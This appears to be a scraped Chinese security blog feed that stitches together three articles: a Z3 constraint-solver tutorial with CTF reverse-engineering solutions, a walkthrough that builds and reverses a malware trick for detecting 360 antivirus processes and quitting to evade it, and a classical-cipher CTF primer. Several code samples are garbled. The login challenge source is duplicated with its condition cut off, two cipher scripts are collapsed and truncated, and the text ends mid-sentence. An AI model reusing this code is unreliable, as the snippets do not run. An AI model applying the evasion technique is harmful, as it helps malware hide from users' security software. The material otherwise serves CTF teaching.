Z3在逆向中运用
文章共计7370个词
预计阅读10分钟
来和我一起阅读吧
≈≈≈≈≈≈≈≈≈≈≈≈≈≈≈
介绍
Z3 在工业应用中实际上常见于软件验证、程序分析等。然而由于功能实在强大,也被用于很多其他领域。CTF 领域来说,能够用约束求解器搞定的问题常见于密码题、二进制逆向、符号执行、Fuzzing 模糊测试等。此外,著名的二进制分析框架 angr 也内置了一个修改版的 Z3。
官方使用文档:https://rise4fun.com/z3/tutorialcontent/guide
z3py 功能手册:https://z3prover.github.io/api/html/namespacez3py.html
z3py 使用文档:https://ericpony.github.io/z3py-tutorial/guide-examples.htm
z3 所使用的语法标准:http://smtlib.cs.uiowa.edu/papers/smt-lib-reference-v2.6-r2017-07-18.pdf
安装
这里安装的是 python 库版本,编译好的二进制版本在 Github 下载。https://github.com/Z3Prover/z3/releases
简单使用
from z3 import *
x = Int('x')#设置整型变量x
y = Int('y')#设置整型变量y
solve(x > 2, y < 10, x + 2*y == 7)#写入方程
# [y = 0, x = 7]
进阶使用
设置变量
批量设置变量见补充
Int - 整数型
# 声明单个变量
x = Int('x')
# 声明多个变量
y,z = Ints('y z')
| 运算需要初始化为Int变量
Real - 实数型
# 声明单个变量
x = Real('x')
# 声明多个变量
y,z = Reals('y z')
BitVec - 向量(位运算)
# 声明单个 16 位的变量
x = BitVec('x',16)
# 声明多个 16 位的变量
y,z = BitVecs('y z',16)
只有 BitVec 变量可以进行异或
solver.add(BitVec('x',8)^BitVec('y',8)==5)
BitVec 变量值之间可进行>或<或=或>=或<=的比较
BitVec('a',8)>=BitVec('b',8)
BitVec('a',8)<=BitVec('b',8)
BitVec('a',8)<=9
BitVec('a',8)==9
BitVecVal 值之间不能进行>或<比较,只能转换成 python 认识的类型才可以比较
if BitVecVal(98,8)>BitVecVal(97,8)#错误,不是python类型
if BitVecVal(98,8)==98:
if BitVecVal(98,8).as_long()>97
if BitVecVal(98,8).as_long()>BitVecVal(97,8).as_long()
变量设置的类型可能会影响到最后求解的结果。可以先 check 一下看看有没有解,然后再判断是否需要切换变量的类型。
Solver 对象
实际做题时,约束条件肯定不会想上面例子这么少,所以需要实例化一个 Solver() 对象,方便我们添加更多的约束条件。
创建约束求解器:solver = Solver()
添加约束条件
一行一个约束条件,这里的约束条件就是方程等式:
solver.add(x**2+y**2==74)
solver.add(x**5-y==z)
# [y = -7, x = 5, z = 3132]
z3 中不允许列表与列表之间添加==约束条件:
判断是否有解
if solver.check() == sat:
print("solver")
else:
print("no solver")
求解并输出
ans = solver.model()
print(ans)
补充
限制结果为可见字符
通常如果是做题的话,解密出来很可能是 flag ,也就是 ascii 码,所以为了进一步约束范围可以给每一个变量都加上额外的一条约束,约束其结果只能在可见 ascii 码范围以内:
solver.add(x < 127)
solver.add(x >= 32)
快速添加变量
添加 50 个 Int 变量 s :
s=[Int('s%d' % i) for i in range(50)]
添加 50 个 Real 变量 s :
s=[Real('s%d' % i) for i in range(50)]
添加 50 个 16 位 BitVec 变量 s :
s=[BitVec ('s%d' % i,16) for i in range(50)]
在约束条件中用下标索引使用:
solver.add(s[18] * s[8] == 5)
solver.add(s[4] * s[11] == 0)
将结果按顺序打印出来:
这是使用列表管理变量的好处,如果不使用列表 print(answer) 输出的结果是无序的。
answer=solver.model()
#print(answer)
result="".join([str(answer[each]) for each in s])
print(result)
练习例题
2020 羊城杯 login
题目前面还有一步逆向 pyinstaller 打包的 exe 文件,这里不赘述直接给出源码:
import sys
input1 = input('input something:')
if len(input1) != 14:
print('Wrong length!')
sys.exit()
code = []
for i in range(13):
code.append(ord(input1[i]) ^ ord(input1[i + 1]))
code.append(ord(input1[13]))
a1 = code[2]
a2 = code[1]
a3 = code[0]
a4 = code[3]
a5 = code[4]
a6 = code[5]
a7 = code[6]
a8 = code[7]
a9 = code[9]
a10 = code[8]
a11 = code[10]
a12 = code[11]
a13 = code[12]
a14 = code[13]
if ((((a1 * 88 + a2 * 67 + a3 * 65 - a4 * 5) + a5 * 43 + a6 * 89 + a7 * 25 + a8 * 13 - a9 * 36) + a10 * 15 + a11 * 11 + a12 * 47 - a13 * 60) + a14 * 29 == 22748) & ((((a1 * 89 + a2 * 7 + a3 * 12 - a4 * 25) + a5 * 41 + a6 * 23 + a7 * 20 - a8 * 66) + a9 * 31 + a10 * 8 + a11 * 2 - a12 * 41 - a13 * 39)
print('flag is GWHT{md5(your_input)}')
print('Congratulations and have fun!')
else:
print('Sorry,plz try again...')
import sys
input1 = input('input something:')
if len(input1) != 14:
print('Wrong length!')
sys.exit()
code = []
for i in range(13):
code.append(ord(input1[i]) ^ ord(input1[i + 1]))
code.append(ord(input1[13]))
a1 = code[2]
a2 = code[1]
a3 = code[0]
a4 = code[3]
a5 = code[4]
a6 = code[5]
a7 = code[6]
a8 = code[7]
a9 = code[9]
a10 = code[8]
a11 = code[10]
a12 = code[11]
a13 = code[12]
a14 = code[13]
if ((((a1 * 88 + a2 * 67 + a3 * 65 - a4 * 5) + a5 * 43 + a6 * 89 + a7 * 25 + a8 * 13 - a9 * 36) + a10 * 15 + a11 * 11 + a12 * 47 - a13 * 60) + a14 * 29 == 22748) & ((((a1 * 89 + a2 * 7 + a3 * 12 - a4 * 25) + a5 * 41 + a6 * 23 + a7 * 20 - a8 * 66) + a9 * 31 + a10 * 8 + a11 * 2 - a12 * 41 - a13 * 39)
print('flag is GWHT{md5(your_input)}')
print('Congratulations and have fun!')
else:
print('Sorry,plz try again...')
分析之后确定需要先求解出 a1~a14 的值,然后再经过一次异或获得 flag 。
这里我们手动添加多个变量,因为源码中的方式形式为 ax 。如果我们用列表管理变量,方程需要手动修改,消耗更多时间得不偿失。z3 脚本:
这里我们需要将有移位运算的那一条方程注释掉,因为 Int 没有这种运算方法。然后我们知道 a1~a14 是两两整数异或而来,所以加上约束大于等于 0 ,否则由于缺少一条方程解出来的值含有负数。
如果不想注释那条方程,完全使用全部方程,那么就将变量定义为:BitVec('an', 16) ,那么就能够使用移位运算。
然后就是还原异或加密:
a1 = 119
a2 = 24
a3 = 10
a4 = 7
a5 = 104
a6 = 43
a7 = 28
a8 = 91
a9 = 52
a10 = 108
a11 = 88
a12 = 74
a13 = 88#121
a14 = 33
code = [0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13]
code[0] = a3
code[1] = a2
code[2] = a1
code[3] = a4
code[4] = a5
code[5] = a6
code[6] = a7
code[7] = a8
code[9] = a9
code[8] = a10
code[10] = a11
code[11] = a12
code[12] = a13
code[13] = a14
flag = []
flag.append(chr(code[13]))
for i in list(range(13))[::-1]:
code[i] = (code[i] ^ code[i + 1])
for i in code:
print(chr(i),end='')
#flag:U_G07_th3_k3y!
2020 CISCN z3
用 IDA 分析题目得知,程序将输入值经过运算后与 Dst 的密文对比,也就是知道解,求出未知数。
Dst 定义是 int 型(8 字节),将密文提取出来:
de = [0x4F17,0x9CF6,0x8DDB,0x8EA6,0x6929,0x9911,0x40A2,0x2F3E,0x62B6,0x4B82,0x486C,0x4002,0x52D7,0x2DEF,0x28DC,0x640D,0x528F,0x613B,0x4781,0x6B17,0x3237,0x2A93,0x615F,0x50BE,0x598E,0x4656,0x5B31,0x313A,0x3010,0x67FE,0x4D5F,0x58DB,0x3799,0x60A0,0x2750,0x3759,0x8953,0x7122,0x81F9,0x5524,0x8971,0x3A1D]
这里还是用手动申请变量,因为避免修改方程表达式。这道例题可以用 Int 也可以用 BitVec ,这里就用 BitVec
from z3 import *
de = [0x4F17,0x9CF6,0x8DDB,0x8EA6,0x6929,0x9911,0x40A2,0x2F3E,0x62B6,0x4B82,0x486C,0x4002,0x52D7,0x2DEF,0x28DC,0x640D,0x528F,0x613B,0x4781,0x6B17,0x3237,0x2A93,0x615F,0x50BE,0x598E,0x4656,0x5B31,0x313A,0x3010,0x67FE,0x4D5F,0x58DB,0x3799,0x60A0,0x2750,0x3759,0x8953,0x7122,0x81F9,0x5524,0x8971,0x3A1D]
v46=BitVec('v46',8)
v47=BitVec('v47',8)
v48=BitVec('v48',8)
v49=BitVec('v49',8)
v50=BitVec('v50',8)
v51=BitVec('v51',8)
v52=BitVec('v52',8)
v53=BitVec('v53',8)
v54=BitVec('v54',8)
v55=BitVec('v55',8)
v56=BitVec('v56',8)
v57=BitVec('v57',8)
v58=BitVec('v58',8)
v59=BitVec('v59',8)
v60=BitVec('v60',8)
v61=BitVec('v61',8)
v62=BitVec('v62',8)
v63=BitVec('v63',8)
v64=BitVec('v64',8)
v65=BitVec('v65',8)
v66=BitVec('v66',8)
v67=BitVec('v67',8)
v68=BitVec('v68',8)
v69=BitVec('v69',8)
v70=BitVec('v70',8)
v71=BitVec('v71',8)
v72=BitVec('v72',8)
v73=BitVec('v73',8)
v74=BitVec('v74',8)
v75=BitVec('v75',8)
v76=BitVec('v76',8)
v77=BitVec('v77',8)
v78=BitVec('v78',8)
v79=BitVec('v79',8)
v80=BitVec('v80',8)
v81=BitVec('v81',8)
v82=BitVec('v82',8)
v83=BitVec('v83',8)
v84=BitVec('v84',8)
v85=BitVec('v85',8)
v86=BitVec('v86',8)
v87=BitVec('v87',8)
v4=de[0]
v5=de[1]
v6=de[2]
v7=de[3]
v8=de[4]
v9=de[5]
v10=de[6]
v11=de[7]
v12=de[8]
v13=de[9]
v14=de[10]
v15=de[11]
v16=de[12]
v17=de[13]
v18=de[14]
v19=de[15]
v20=de[16]
v21=de[17]
v22=de[18]
v23=de[19]
v24=de[20]
v25=de[21]
v26=de[22]
v27=de[23]
v28=de[24]
v29=de[25]
v30=de[26]
v31=de[27]
v32=de[28]
v33=de[29]
v34=de[30]
v35=de[31]
v36=de[32]
v37=de[33]
v38=de[34]
v39=de[35]
v40=de[36]
v41=de[37]
v42=de[38]
v43=de[39]
v44=de[40]
v45=de[41]
s=Solver()
s.add(v4 == 34 * v49 + 12 * v46 + 53 * v47 + 6 * v48 + 58 * v50 + 36 * v51 + v52)
s.add(v5 == 27 * v50 + 73 * v49 + 12 * v48 + 83 * v46 + 85 * v47 + 96 * v51 + 52 * v52)
s.add(v6 == 24 * v48 + 78 * v46 + 53 * v47 + 36 * v49 + 86 * v50 + 25 * v51 + 46 * v52)
s.add(v7 == 78 * v47 + 39 * v46 + 52 * v48 + 9 * v49 + 62 * v50 + 37 * v51 + 84 * v52)
s.add(v8 == 48 * v50 + 14 * v48 + 23 * v46 + 6 * v47 + 74 * v49 + 12 * v51 + 83 * v52)
s.add(v9 == 15 * v51 + 48 * v50 + 92 * v48 + 85 * v47 + 27 * v46 + 42 * v49 + 72 * v52)
s.add(v10 == 26 * v51 + 67 * v49 + 6 * v47 + 4 * v46 + 3 * v48 + 68 * v52)
s.add(v11 == 34 * v56 + 12 * v53 + 53 * v54 + 6 * v55 + 58 * v57 + 36 * v58 + v59)
s.add(v12 == 27 * v57 + 73 * v56 + 12 * v55 + 83 * v53 + 85 * v54 + 96 * v58 + 52 * v59)
s.add(v13 == 24 * v55 + 78 * v53 + 53 * v54 + 36 * v56 + 86 * v57 + 25 * v58 + 46 * v59)
s.add(v14 == 78 * v54 + 39 * v53 + 52 * v55 + 9 * v56 + 62 * v57 + 37 * v58 + 84 * v59)
s.add(v15 == 48 * v57 + 14 * v55 + 23 * v53 + 6 * v54 + 74 * v56 + 12 * v58 + 83 * v59)
s.add(v16 == 15 * v58 + 48 * v57 + 92 * v55 + 85 * v54 + 27 * v53 + 42 * v56 + 72 * v59)
s.add(v17 == 26 * v58 + 67 * v56 + 6 * v54 + 4 * v53 + 3 * v55 + 68 * v59)
s.add(v18 == 34 * v63 + 12 * v60 + 53 * v61 + 6 * v62 + 58 * v64 + 36 * v65 + v66)
s.add(v19 == 27 * v64 + 73 * v63 + 12 * v62 + 83 * v60 + 85 * v61 + 96 * v65 + 52 * v66)
s.add(v20 == 24 * v62 + 78 * v60 + 53 * v61 + 36 * v63 + 86 * v64 + 25 * v65 + 46 * v66)
s.add(v21 == 78 * v61 + 39 * v60 + 52 * v62 + 9 * v63 + 62 * v64 + 37 * v65 + 84 * v66)
s.add(v22 == 48 * v64 + 14 * v62 + 23 * v60 + 6 * v61 + 74 * v63 + 12 * v65 + 83 * v66)
s.add(v23 == 15 * v65 + 48 * v64 + 92 * v62 + 85 * v61 + 27 * v60 + 42 * v63 + 72 * v66)
s.add(v24 == 26 * v65 + 67 * v63 + 6 * v61 + 4 * v60 + 3 * v62 + 68 * v66)
s.add(v25 == 34 * v70 + 12 * v67 + 53 * v68 + 6 * v69 + 58 * v71 + 36 * v72 + v73)
s.add(v26 == 27 * v71 + 73 * v70 + 12 * v69 + 83 * v67 + 85 * v68 + 96 * v72 + 52 * v73)
s.add(v27 == 24 * v69 + 78 * v67 + 53 * v68 + 36 * v70 + 86 * v71 + 25 * v72 + 46 * v73)
s.add(v28 == 78 * v68 + 39 * v67 + 52 * v69 + 9 * v70 + 62 * v71 + 37 * v72 + 84 * v73)
s.add(v29 == 48 * v71 + 14 * v69 + 23 * v67 + 6 * v68 + 74 * v70 + 12 * v72 + 83 * v73)
s.add(v30 == 15 * v72 + 48 * v71 + 92 * v69 + 85 * v68 + 27 * v67 + 42 * v70 + 72 * v73)
s.add(v31 == 26 * v72 + 67 * v70 + 6 * v68 + 4 * v67 + 3 * v69 + 68 * v73)
s.add(v32 == 34 * v77 + 12 * v74 + 53 * v75 + 6 * v76 + 58 * v78 + 36 * v79 + v80)
s.add(v33 == 27 * v78 + 73 * v77 + 12 * v76 + 83 * v74 + 85 * v75 + 96 * v79 + 52 * v80)
s.add(v34 == 24 * v76 + 78 * v74 + 53 * v75 + 36 * v77 + 86 * v78 + 25 * v79 + 46 * v80)
s.add(v35 == 78 * v75 + 39 * v74 + 52 * v76 + 9 * v77 + 62 * v78 + 37 * v79 + 84 * v80)
s.add(v36 == 48 * v78 + 14 * v76 + 23 * v74 + 6 * v75 + 74 * v77 + 12 * v79 + 83 * v80)
s.add(v37 == 15 * v79 + 48 * v78 + 92 * v76 + 85 * v75 + 27 * v74 + 42 * v77 + 72 * v80)
s.add(v38 == 26 * v79 + 67 * v77 + 6 * v75 + 4 * v74 + 3 * v76 + 68 * v80)
s.add(v39 == 34 * v84 + 12 * v81 + 53 * v82 + 6 * v83 + 58 * v85 + 36 * v86 + v87)
s.add(v40 == 27 * v85 + 73 * v84 + 12 * v83 + 83 * v81 + 85 * v82 + 96 * v86 + 52 * v87)
s.add(v41 == 24 * v83 + 78 * v81 + 53 * v82 + 36 * v84 + 86 * v85 + 25 * v86 + 46 * v87)
s.add(v42 == 78 * v82 + 39 * v81 + 52 * v83 + 9 * v84 + 62 * v85 + 37 * v86 + 84 * v87)
s.add(v43 == 48 * v85 + 14 * v83 + 23 * v81 + 6 * v82 + 74 * v84 + 12 * v86 + 83 * v87)
s.add(v44 == 15 * v86 + 48 * v85 + 92 * v83 + 85 * v82 + 27 * v81 + 42 * v84 + 72 * v87)
s.add(v45 == 26 * v86 + 67 * v84 + 6 * v82 + 4 * v81 + 3 * v83 + 68 * v87)
print(s.check())
flag=""
if s.check() == sat:
m = s.model()
print(m)
else:
print("no answer")
flag = ""
for d in m.decls():
print("%s = %s" % (d.name(), m[d]))
极客大挑战 REConvolution
这条题目演示用批量申请堆方法
题目关键函数:
加密过程并不是前两题的方程了,而是循环异或,没有修改方程变量名的问题,所以我们可以用 for 循环申请变量。
数独
z3 还能处理数独问题,下面是官方 demo :
#!/usr/bin/env python
# -*- coding: utf-8 -*-
# @Author : MrSkYe
# @Email : skye231@foxmail.com
from z3 import *
# 9x9整数变量矩阵
X = [ [ Int("x_%s_%s" % (i+1, j+1)) for j in range(9) ]
for i in range(9) ]
# 每个单元格包含{1,…,9}中的值
cells_c = [ And(1 <= X[i][j], X[i][j] <= 9)
for i in range(9) for j in range(9) ]
# 每行最多包含一个数字一次
rows_c = [ Distinct(X[i]) for i in range(9) ]
# 每列最多包含一个数字
cols_c = [ Distinct([ X[i][j] for i in range(9) ])
for j in range(9) ]
# 每个3x3正方形最多包含一个数字
sq_c = [ Distinct([ X[3*i0 + i][3*j0 + j]
for i in range(3) for j in range(3) ])
for i0 in range(3) for j0 in range(3) ]
sudoku_c = cells_c + rows_c + cols_c + sq_c
# 数独实例,我们用'0'表示空单元格
instance = ((0,0,0,0,9,4,0,3,0),
(0,0,0,5,1,0,0,0,7),
(0,8,9,0,0,0,0,4,0),
(0,0,0,0,0,0,2,0,8),
(0,6,0,2,0,1,0,5,0),
(1,0,2,0,0,0,0,0,0),
(0,7,0,0,0,0,5,2,0),
(9,0,0,0,6,5,0,0,0),
(0,4,0,9,7,0,0,0,0))
instance_c = [ If(instance[i][j] == 0,
True,
X[i][j] == instance[i][j])
for i in range(9) for j in range(9) ]
s = Solver()
s.add(sudoku_c + instance_c)
if s.check() == sat:
m = s.model()
r = [ [ m.evaluate(X[i][j]) for j in range(9) ]
for i in range(9) ]
print_matrix(r)
else:
print("failed to solve")
参考文章
Z3 学习笔记 https://blog.csdn.net/qq_33438733/article/details/82011892)
z3 solver学习 http://3xp10it.cc/auxilary/2017/11/14/z3-solver%E5%AD%A6%E4%B9%A0/)
实验推荐--https://www.yijinglab.com/expc.do?ec=ECID172.19.104.182014111410002900001&pk_campaign=heetian-wemedia (本实验将通过具体的实例介绍Ollydbg/IDA Pro/PEiD等工具在逆向分析中的基本使用方法,并通过动态调试和静态分析两种方法来找到程序密码。)
逆向入门分析实战(四)
9/14
文章共计1836个词
是逆向入门分析实战系列的第四篇
https://www.yijinglab.com/html/news/news.html?newsId=NEWS-75b-68e6-4f35-951a-5b0f2d1bc70e&pk_campaign=heetian-wemediahttps://www.yijinglab.com/html/news/news.html?newsId=NEWS-730-1b69-4cc3-a2c1-e1c882870460&pk_campaign=heetian-wemediahttps://www.yijinglab.com/html/news/news.html?newsId=NEWS-676-06f2
来和我一起阅读吧
这次我们对很多木马和APT组织常见的一个手法进行正向开发和逆向分析,这个手法就是当发现当前系统中存在特定的杀毒软件和行为监控软件等安全软件时,退出自身进程不再执行自身的恶意模块。其实这个原理还是很简单的,就是进程遍历,然后与这些安全软件的进程进行对比。
进程遍历的常见方法是首先使用CreateToolhelp32Snapshot函数创建一个进程快照,这个快照是当前系统中所运行的所有进程,和使用Windows任务管理器查看进程的结果类似,区别在于Windows任务管理器是实时的,而创建进程快照是“拍照”那一刻所运行着的所有进程。之后使用Process32First和Process32Next对所有的进程进行遍历,将得到的进程名与安全软件的进程名进行对比,如果相等,则退出自身进程。对于windows10的任务管理器不再显示映像名称,可以使用cmd中的tasklist命令来查看当前运行的所有进程。
那我们怎么知道安全软件的进程名呢?这就要靠自己去收集了,比如360tray.exe和360sd.exe就是360安全卫士和360杀毒的进程名,我们以360杀毒为例,当我们发现当前机器上运行了360杀毒则直接退出。
1 正向开发之进程遍历查找360杀毒
1、CreateToolhelp32Snapshot函数
这个函数的参数有两个,第一个是dwFlags参数,这个参数用来指定快照中包含的系统内容,在这里我们要查看当前系统中所有的进程,所以dwFlags参数要指定为TH32CS_SNAPPROCESS,第二个参数为进程ID,这里我们应该指定为0,为什么会有这个参数呢?因为CreateToolhelp32Snapshot函数不仅仅可以用来查看当前系统中运行的进程,还可以查看某一个指定进程的所有堆(TH32CS_SNAPHEAPLIST)或者模块(TH32CS_SNAPMODULE),这个参数只有当查看某一个指定进程的所有堆或者模块时才有效。我们需要将其指定为0,表示查看当前系统中运行的进程,函数调用成功
2、Process32First函数
这个函数查找系统快照中第一个进程信息,有两个参数,第一个参数hSnapshot是CreateToolhelp32Snapshot返回的进程句柄,第二个参数LPPROCESSENTRY32是一个结构体指针,而这个结构体首先是需要我们来初始化,之后当Process32First调用成功后,就会将函数的返回值存储到这个结构体中,这一点和Python不太一样,需要注意。
3、Process32Next函数
这个函数查找系统快照中下一个进程信息,和Process32First参数一样,两者结合即可遍历系统快照中的进程。
4、编写代码
首先需要把必须的一些头文件包含进来,之后创建了一个listProcess函数来遍历进程,在listProcess函数里首先初始化LPPROCESSENTRY32结构体,其中需要注意的是在调用Process32First之前,我们需要先将结构体中的dwSize初始化,这个值表示结构体大小,可以通过sizeof(LPPROCESSENTRY32)获取。之后依次调用CreateToolhelp32Snapshot、Process32First、Process32Next,然后使用StrStr函数进行对比,系统快照中的进程名保存在LPPROCESSENTRY32结构体中的szExeFile这个成员变量
如果在一台装有360杀毒的主机上运行,当检测到有360se.exe之后便停止运行:
2 逆向分析之进程遍历查找360杀毒
ida停留在这个界面,我们双击查看listProcess函数的内容:
首先查看其调用了CrateToolhelp32Snapshot函数:
其中可以看到PROCESSENTRY32结构体在此系统版本和编译环境下的大小为128h,dwFlags的值为2,这是因为TH32CS_SNAPPROCESS是一个宏定义,它对应的常量为2:
得到CrateToolhelp32Snapshot返回值后为什么要将其与0FFFFFFFFh进行对比?查看其二进制:
32个1,我们通过查看宏的方式,看到这个值是-1。
为什么是32个1呢?我第一时间想到原来学习计算机组成原理的时候有一节课在讲补码,好像涉及到这个。经过查阅资料,发现确实是-1。负数是通过对其绝对值相同的正数先按位取反再加1得到的,即-1是通过对1按位取反之后再加1得到的,这样能保证两者相加结果为0(两者相加会溢出,正好为0)。把当年没认真学的知识弄清楚的感觉真棒!
之后,调用了Process32First函数,参数分别为一个指针和一个快照:
之后,获取其进程名然后使用StrStr查找是否包含360sd.exe:
重点查看这里:
其中,先将eax的值(即为PROCESSENTRY32结构体中的szExeFile成员变量,具体可查看PROCESSENTRY32结构体)存入esp+4,再将the process is %s\n字符串存入esp中,这其实相当于是先push eax,再push字符串,然后调用printf进行输出。
之后再调用StrStr将进程名与360sd.exe进行对比。如果匹配上,则直接进入最左侧:
如果匹配不上,则进入右侧,调用Process32Next,再循环执行。当Process32Next返回值为FALSE即为零时,则会跳转到中间,此时所有的进程已经遍历完。至此,整个程序逆向分析完毕。
3总结
此次正向开发和逆向分析,主要是对windows中的进程遍历相关的API进行了熟悉和掌握,同时,将遍历到的每一个进程名与常见的安全软件进行匹配,之后再采取相应的措施。基于此,可以拓展开发更多的功能,比如匹配一些行为监控软件、Wireshark、虚拟机vmtools软件等等。
相关实验推荐--https://www.yijinglab.com/expc.do?ec=ECID172.19.104.182016031811584100001&pk_campaign=heetian-wemedia
▲ https://www.yijinglab.com/pages/activity/webSafetyOpenClass.html?pk_campaign=heetian-wemedia&pk_medium=wemedia
ctf古典密码从0到1
亲爱的,关注我吧
9/7
本文共计6357个词
阅读预计花费8分钟
1.古典密码和现代密码的区别:
2.代换密码
a)单表代换密码
i.字符或数学型
1.凯撒密码
2.仿射密码
3.四方密码
4.培根密码
ii.图表
1.标准银河字母
2.圣堂武士密码
3.猪圈密码
4.当铺密码
5.跳舞的小人密码
b)多表代换密码
i.希尔密码
ii.维吉尼亚密码
iii.棋盘密码(Polybius)
iv.普莱费尔密码(playfair)
v.Nihilist密码
vi.Keyboard密码
3.移位密码
a)栅栏密码
b)云影密码
c)简单位移密码
d)曲路密码
4.CTF crypto线下工具推荐
古典密码和现代密码的区别:
古典密码是密码学中的其中一个类型,其大部分加密方式都是利用替换式密码或移项式密码,有时则是两者的混合。其于历史中经常使用,但现代已经很少使用,大部分的已经不再使用了。一般而言,经典密码是基于一个拼音字母(像是 A-Z)、动手操作或是简单的设备。它们可能是一种简单的密码法,以致于不可信赖的地步,特别是有新技术被发展出来后。
现代的方法是用电脑或是其它数字科技,基于比特和字节上操作。许多经典密码被受尊重的人使用,像是尤利乌斯·凯撒和拿破仑,他们创造了一些常被人们使用的密码。许多密码起源于军事上,相同立场的人常使用来寄送秘密消息。经典的方法常攻击密码文,有时候甚至不知其密码系统,也可以使用工具,像是频率分析法。有些经典密码是使用先进的机器或是机电密码机器,像是恩尼格玛密码机。 ---维基
其中,古典密码学,作为一种实用性艺术存在,其编码和破译通常依赖于设计者和敌手的创造力与技巧,并没有对密码学原件进行清晰的定义。古典密码学主要包含以下几个方面:
单表替换加密(Monoalphabetic Cipher)
多表替换加密(Polyalphabetic Cipher)
奇奇怪怪的加密方式 --ctf wiki
凯撒密码:
凯撒曾经使用这种密码与其将军们来联系,所以用凯撒来命名这种密码。
根据图片来了解加密原理。凯撒密码一般适用于26个英文字母。根据偏移量来进行加密。如图所示,当偏移量=3。即是A-D,B-E。
把字母转成数学,数学公式如下。
在线加解密网站:
https://www.qqxiuzi.cn/bianma/kaisamima.phphttp://www.metools.info/code/c70.htmlhttp://www.atoolbox.net/Tool.php?Id=778仿射密码:
数学加密公式:
仿射密码中解密需要用到求逆元
直接给出python解密脚本:
import primefac def affine_decode(c,a,b,origin="abcdefghijklmnopqrstuvwxyz"): r="" n=len(origin) ai=primefac.modinv(a,n)%n for i in c: if origin.find(i)!=1: r+=origin[(ai*(origin.index(i)-b))%n] else: r+=i return r print affine_decode("ihhw
仿射密码在线加解密网站:
http://www.atoolbox.net/Tool.php?Id=911仿射密码真题-one:
Buuctf- Crypto-[GKCTF2020]小学生的密码学
e(x)=11x+6(mod26)
密文:welcylk
(flag为base64形式)
四方密码:
四方密码是一种对称式加密法,由法国人Felix Delastelle(1840年–1902年)发明。
这种方法将字母两个一组,然后采用多字母替换密码。
四方密码用4个5×5的矩阵来加密。每个矩阵都有25个字母(通常会取消Q或将I,J视作同一样,或改进为6×6的矩阵,加入10个数字)。
选两个密钥,example和keyword。去掉重复的字母。就是example变成exampl。余下的字母顺序存入矩阵即可
加密矩阵放右上和左下。
加密步骤。把字符串按两个字母一组分开
Helloworld
He ll ow or ld
找第一组第一个字母在左上角矩阵的位置:
找第一组第二个字母在右下角矩阵的位置:
先找和一个字母同横的,和第二个字母同直的
第一个字母同直,第二个字母同横的
得到he加密后为FY
如此可得接下来,最后就是
he lp me ob iw an ke no bi
FY GM KY HO BX MF KK KI MD
四方密码真题-one:
Buuctf-crypo-四面八方
四方密码:
wiki上了解四方密码如何加解密的一个过程
https://zh.wikipedia.org/wiki/%E5%9B%9B%E6%96%B9%E5%AF%86%E7%A2%BC密钥存阵
通常在题目中会给定2个密钥,我们要去掉Q或者把I和J当成一个。按照26个英文字母。秘钥中出现的不填。补充成5*5的矩阵
这题直接填充即可
securityabdfghjklmnopvwxz securityadbfghjklmnopvwxz abcdefghijklmnopqrstuvwxyz informatn informatbcdeghjklpsuvwxyz abcdefghijklmnopqrstuvwxyz
在线解密工具:
http://ctf.ssleye.com/four.html根据题目说的解出来的语句是个通顺的句子,那肯定排序就有点问题
接下来可以拿出词频分析。
这边分割可以多试试。可以看出来个success,其他位置试
https://quipqiup.com/四方密码在线加解密网站:
http://ctf.ssleye.com/four.html培根密码:
培根密码直接根据表中的字母进行转换。
密文一般只含有a和b字母
培根密码在线解密:
https://tool.bugku.com/peigen/培根密码真题-one:
攻防世界crypto新手-不仅仅是morse
把/转换成空格。直接拿出morse解密
在看后面一段像培根密码,根据题目提示是食物加密。
标准银河字母:
标准银河字母(Standard Galactic Alphabet)出自游戏《指挥官基恩》系列。是系列中使用的书写系统。这是一个简单的替代暗号,用不同的符号取代拉丁字母。SGA可以在不同的语言中使用,比如在游戏《Minecraft》,《指挥官基恩》中。
如果遇到这类题。直接根据题目来进行图翻->字母
圣堂武士密码:
圣堂武士密码(Templar Cipher)是共济会的“猪圈密码”的一个变种,一直被共济会圣殿骑士用。
直接根据图片上的直接翻译出字母即可
猪圈密码:
猪圈密码(亦称朱高密码、共济会暗号、共济会密码或共济会员密码),是一种以格子为基础的简单替代式密码。即使使用符号,也不会影响密码分析,亦可用在其它替代式的方法。
直接图片替换字母即可
猪圈密码在线解密网站:
http://www.metools.info/code/c90.html猪圈密码真题:
Buuctf-crypto-萌萌哒的八戒
直接解密
猪圈密码-圣堂武士密码-标准银河字母-栅栏密码真题:
Buuctf-Crypto- [MRCTF2020]古典密码知多少
图上的蓝色就是猪圈密码,橙色的是圣堂武士密码,黑色的是银河字母。
当铺密码:
当铺密码就是一种将中文和数字进行转化的密码,算法相当简单:当前汉字有多少笔画出头,就是转化成数字几。例如:
口 0 田 0 由 1 中 2 人 3 工 4
大 5 王 6 夫 7 井 8 羊 9
具体映射可查看:
https://www.cnblogs.com/cc11001100/p/9357263.html当铺密码真题:
Buuctf-crypto-GKCTF2020汉字的秘密
直接解码发现不对。
翻看ascii码。改进一下脚本:
自己猜一下flag开头为flag。可以看到ascii嘛每一位都是递增的。
差为1,2,3,4
跳舞的小人密码:
跳舞的人,讲的是一个黑帮发明的一种密码,其密码就是用一个一个的跳舞的小人组成的,一个小人是一个字母。有人用这种密码进行通信,来威胁某人,福尔摩斯后来破解了这个密码,抓住了坏人。
这题直接根据表来进行转换即可。加解密同
这题感觉是做过的。但没翻到例题。就不放了。
希尔密码(hill):
希尔密码(Hill Cipher)是运用基本矩阵论原理的替换密码,由Lester S. Hill在1929年发明。每个字母当作26进制数字:A=0, B=1, C=2... 一串字母当成n维向量,跟一个n×n的矩阵相乘,再将得出的结果MOD26。
直接给出网上的脚本可以参考:
import numpy as np m = 'YOURPINNOISFOURONETWOSIX' #明文 a = np.matrix([[11,2,19],[5,23,25],[20,7,17]]) #密钥LCTFXZUHR num_m = [] temp = [] count = 1 for i in m: #将明文分为三个一组 temp.append(ord(i)-ord('A')) if count % 3 == 0: num_m.append(temp) temp = [] count += 1 mat_m = [np.m
希尔密码在线加解密:
http://www.atoolbox.net/Tool.php?Id=914维吉尼亚密码:
维吉尼亚密码(又译维热纳尔密码)是使用一系列凯撒密码组成密码字母表的加密算法,属于多表密码的一种简单形式。
维吉尼亚加解密表格:
当明文为
ATTACKATDAWN
选择某一关键词并重复而得到密钥,如关键词为LEMON时,密钥为:
LEMONLEMONLE
对于明文的第一个字母A,对应密钥的第一个字母L,于是使用表格中L行字母表进行加密,得到密文第一个字母L。类似地,明文第二个字母为T,在表格中使用对应的E行进行加密,得到密文第二个字母X。以此类推,可以得到:
明文:ATTACKATDAWN
